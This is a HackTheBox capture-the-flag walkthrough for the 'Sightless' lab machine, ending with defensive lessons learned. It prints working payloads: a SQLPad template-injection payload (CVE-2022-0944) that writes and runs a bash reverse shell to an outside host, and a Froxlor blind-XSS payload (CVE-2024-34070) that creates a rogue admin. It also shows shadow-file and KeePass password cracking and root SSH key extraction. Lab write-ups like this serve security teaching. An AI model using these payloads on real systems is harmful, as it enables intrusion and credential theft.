Sightless - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Sightless is an easy-difficulty Linux machine hosting a corporate website advertising various services. The primary attack vector involves exploiting CVE-2022-0944, a template injection vulnerability in SQLPad 6.10.0, to gain initial access within a Docker container. From the container, credential extraction via /etc/shadow and password cracking yields SSH access to the host machine. Privilege escalation leverages CVE-2024-34070, a blind XSS vulnerability in Froxlor, to create administrative credentials, access FTP, retrieve a KeePass database, and ultimately extract root SSH keys.

TL;DR: SQLPad template injection → Docker container → Shadow file extraction & password cracking → SSH access → Froxlor blind XSS → FTP access → KeePass database cracking → Root SSH key extraction → Root shell.

Reconnaissance

Port Scanning

# Initial full port scan
nmap -p- --min-rate=1000 -T4 10.10.11.32

# Detailed service enumeration
nmap -p21,22,80 -sC -sV 10.10.11.32

Results:

PORT     STATE SERVICE VERSION
21/tcp   open  ftp      ProFTPD Server (sightless.htb FTP Server)
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp   open  http     nginx 1.18.0

Three critical services discovered:

• FTP (21): ProFTPD for file transfer
• SSH (22): OpenSSH for remote shell access
• HTTP (80): Nginx web server hosting the primary application

The hostname sightless.htb is revealed during enumeration.

Service Enumeration

Adding the discovered domain to /etc/hosts:

echo "10.10.11.32      sightless.htb" | sudo tee -a /etc/hosts

HTTP Enumeration

Visiting http://sightless.htb reveals a static corporate website advertising services including SQLPad and Froxlor. Clicking the “Start Now” button under SQLPad redirects to http://sqlpad.sightless.htb, which requires an additional hosts entry:

sudo sed -i '/10.10.11.32/s/$/ sqlpad.sightless.htb/' /etc/hosts

The SQLPad instance displays version 6.10.0 in the About page (accessible via the three-dot menu).

Vulnerability Assessment

Initial Foothold

Exploitation Path: SQLPad Template Injection (CVE-2022-0944)

SQLPad 6.10.0 is vulnerable to Server-Side Template Injection (SSTI) via the database connection field, allowing arbitrary code execution through Node.js child_process module invocation.

Step 1: Prepare Reverse Shell Payload

Access SQLPad and navigate to Connections → New Connection. Name the connection test and select MySQL as the driver.

The database field accepts Node.js template expressions. We’ll use a two-stage payload:

Stage 1 - Create Bash Script:

{{ process.mainModule.require('child_process').exec('echo "#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.21/4455 0>&1" > /tmp/exploit.sh') }}

This creates a bash reverse shell script in /tmp/exploit.sh.

Step 2: Set Up Listener

On the attacker machine:

nc -lnvp 4455

Step 3: Execute Reverse Shell

Submit a new payload in the database field to execute the script:

{{ process.mainModule.require('child_process').exec('/bin/bash /tmp/exploit.sh') }}

Step 4: Obtain Shell Access

listening on [any] 4455 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.32] 49086
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
uid=0(root) gid=0(root) groups=0(root)

We obtain a root shell inside a Docker container (evident from the hostname c184118df0a6).

Step 5: Extract and Crack Shadow File

Examine /etc/shadow to locate Michael’s password hash:

root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow | grep michael
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

Extract Michael’s credentials from both files:

root@c184118df0a6:/var/lib/sqlpad# grep '^michael:' /etc/passwd > passwd_michael
root@c184118df0a6:/var/lib/sqlpad# grep '^michael:' /etc/shadow > shadow_michael

Combine the files using unshadow:

unshadow passwd_michael shadow_michael > michael_unshadowed

Crack the hash with John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt michael_unshadowed

Output:

insaneclownposse (michael)
1g 0:00:00:17 DONE (2025-01-09 07:00) 0.05656g/s 3330p/s 3330c/s 3330C/s

Step 6: SSH Access

ssh michael@10.10.11.32
# Password: insaneclownposse

michael@sightless:~$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)

User flag location: /home/michael/user.txt

Privilege Escalation

Discovery: Internal Services

From the compromised host, enumerate listening ports:

michael@sightless:~$ netstat -lputn

Key findings:

tcp         0       0 127.0.0.1:8080              0.0.0.0:*                  LISTEN
tcp         0       0 127.0.0.1:3306              0.0.0.0:*                  LISTEN
tcp         0       0 127.0.0.1:3000              0.0.0.0:*                  LISTEN

Port 8080 hosts a Froxlor instance (lightweight server management software) accessible only on localhost.

Step 1: Port Forwarding via SSH

Tunnel port 8080 to local port 8081:

ssh michael@sightless.htb -L 8081:127.0.0.1:8080
# Password: insaneclownposse

Access http://localhost:8081 to reach the Froxlor login page. Create the subdomain mapping:

echo "127.0.0.1  admin.sightless.htb" | sudo tee -a /etc/hosts

Step 2: Exploiting Froxlor Blind XSS (CVE-2024-34070)

Froxlor is vulnerable to blind XSS in the login name field. The vulnerability allows arbitrary JavaScript execution that can create admin accounts.

Payload Construction

The XSS payload uses $emit.constructor to execute arbitrary functions and submit a POST request to create an admin account:

admin{{$emit.constructor`function b(){var metaTag=document.querySelector('meta[name="csrf-token"]');var csrfToken=metaTag.getAttribute('content');var xhr=new XMLHttpRequest();var url="http://admin.sightless.htb:8080/admin_admins.php";var params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mgkidKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=ywmltest@gmail.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&change_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_see_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspace=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&emails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarders_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token="+csrfToken+"&page=admins&action=add&send=send";xhr.open("POST",url,true);xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");alert("Your Froxlor Application has been completely Hacked");xhr.send(params)};a=b()`()}}

Payload Injection

Intercept the login request in Burp Suite and modify the loginname parameter with the XSS payload. Forward the request to execute the JavaScript payload, which will create an admin account with credentials:

• Username: abcd
• Password: Abcd@@1234

Step 3: Access as FTP User and Retrieve KeePass Database

Log in to Froxlor with the newly created admin credentials. Navigate to the user management section and identify the web1 FTP user. Change the password for this user:

New Password: YourNewPassword123

Connect to FTP using FileZilla or command-line client:

ftp 10.10.11.32
# Username: web1
# Password: YourNewPassword123

Navigate to the backup folder and download the KeePass database:

ftp> cd backup
ftp> get Database.kdb
ftp> quit

Step 4: Crack KeePass Database

Extract the hash from the KeePass database:

keepass2john Database.kdb > Database.kdb.hash

Crack the hash using John the Ripper:

john -w=/usr/share/wordlists/rockyou.txt Database.kdb.hash --format=KeePass

Output:

bulldogs            (Database.kdb)
1g 0:00:00:20 DONE (2025-01-08 11:36) 0.04823g/s 55.57p/s 55.57c/s 55.57c/s

Step 5: Extract Root SSH Key

Open the KeePass database using kpcli:

kpcli --kdb=Database.kdb
# Master Password: bulldogs

Navigate to the SSH entry:

kpcli:/> ls /General/sightless.htb/Backup
kpcli:/General/sightless.htb/Backup> show -f ssh

Output:

Path: /General/sightless.htb/Backup/
Title: ssh
Uname: root
Pass: q6gnLTB74L132TMdFCpK
Atchm: id_rsa (3428 bytes)

Export the id_rsa attachment:

kpcli:/General/sightless.htb/Backup> attach ssh
Choose: (a)dd/(e)xport/(d)elete/(c)ancel/(F)inish? e
Path to file: ./id_rsa

Remove any extra whitespace and set correct permissions:

chmod 600 id_rsa

Step 6: SSH as Root

ssh -i id_rsa root@10.10.11.32
root@sightless:~# id
uid=0(root) gid=0(root) groups=0(root)

Root flag location: /root/root.txt

Attack Chain Summary

SQLPad 6.10.0 Template Injection (CVE-2022-0944)
  ↓
Reverse Shell into Docker Container
  ↓
Extract /etc/shadow Hash (michael)
  ↓
Crack Password: insaneclownposse
  ↓
SSH Access as michael
  ↓
Port Forward Froxlor (8080 → 8081)
  ↓
Froxlor Blind XSS (CVE-2024-34070)
  ↓
Create Admin Account (abcd:Abcd@@1234)
  ↓
Access FTP as web1
  ↓
Download KeePass Database
  ↓
Crack KeePass: bulldogs
  ↓
Extract Root SSH Key (id_rsa)
  ↓
SSH as Root

Tools Used

Key Learnings

Techniques Practiced

• Server-Side Template Injection (SSTI) in web frameworks using child_process module invocation
• Docker container escape via shadow file access and credential extraction
• Password hash cracking using John the Ripper with rockyou.txt wordlist
• Blind XSS exploitation leveraging $emit.constructor for arbitrary JavaScript execution
• CSRF token bypass via JavaScript XMLHttpRequest for unauthorized form submission
• KeePass database exploitation through hash extraction and password cracking
• SSH key extraction from password managers and SSH authentication

Lessons Learned

1. Template injection in web frameworks is critical — Always sanitize user input in connection configurations and database fields. Node.js child_process access should be severely restricted or disabled.

2. Containers are not isolated from the host filesystem — Shadow files accessible from within containers expose host user credentials. Implement proper namespace isolation and prevent container-to-host file access.

3. CSRF protection alone is insufficient — Blind XSS can extract CSRF tokens dynamically and bypass protection mechanisms. Implement Content Security Policy (CSP) headers and validate request origin rigorously.

4. Password manager security depends on master password strength — Use strong, unique master passwords for KeePass databases. Enable encryption-at-rest and require authentication for sensitive attachments.

5. Least privilege for service accounts — The web1 FTP user should not have access to backup directories containing sensitive data like KeePass databases. Implement role-based access controls.

6. Network segmentation is essential — Froxlor listening only on localhost provided false security. An attacker with initial access could bypass this via port forwarding. Use network firewalls and VPNs for internal service access.

7. Log and monitor for suspicious login attempts — The creation of admin accounts via XSS should trigger alerts. Implement real-time log analysis and anomaly detection.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>